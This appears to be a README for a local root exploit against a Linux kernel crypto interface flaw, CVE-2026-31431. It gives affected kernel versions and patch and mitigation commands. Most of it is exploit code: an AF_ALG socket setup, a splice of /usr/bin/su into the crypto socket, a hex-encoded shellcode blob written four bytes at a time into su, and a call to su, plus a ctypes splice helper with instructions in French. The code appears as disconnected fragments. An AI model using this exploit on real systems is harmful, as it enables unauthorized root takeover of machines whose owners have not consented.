
Copy Fail - CVE-2026-31431
https://nvd.nist.gov/vuln/detail/CVE-2026-31431
https://xint.io/blog/copy-fail-linux-distributions
| Distribution | Version |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
main.py
id
For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
a = s.socket(38, 5, 0) # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
v(h, 1, d('0800010000000010'+'0'*64)) # option 1
v(h, 5, None, 4) # option 5 (NULL payload)
u.sendmsg([b"A"*4+c], [
(h, 3, i*4), # cmsg level 3 (ALG_OP?)
(h, 2, b'\x10'+i*19), # cmsg level 2
(h, 4, b'\x08'+i*3) # cmsg level 4
], 32768)
r, w = g.pipe() # create anonymous pipe
g.splice(f, w, o, offset_src=0) # copy from file to pipe
g.splice(r, u.fileno(), o) # copy from pipe to socket
/usr/bin/su (file) → pipe → crypto socket
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3
Shellcode (machine code)
x86_64 privilege escalation instructions
while i < len(e):
c(f, i, e[i:i+4]) # writes 4 bytes of shellcode into su
g.system("su")
[!NOTE] Si la version de Python du système d'exploitation cible est <3.10, utilisez le code ci-dessous pour que cela fonctionne. Mais assurez-vous d'abord de vérifier la disponibilité de l'appel système.
python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY
Ajoutez cet extrait de code sous la section PAYLOAD_COMPRESSED :
_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
ctypes.c_int,
ctypes.POINTER(ctypes.c_int64),
ctypes.c_int,
ctypes.POINTER(ctypes.c_int64),
ctypes.c_size_t,
ctypes.c_uint,
]
def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
off_in = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
ret = _libc.splice(src, off_in, dst, off_out, count, flags)
if ret < 0:
errno = ctypes.get_errno()
raise OSError(errno, os.strerror(errno))
return ret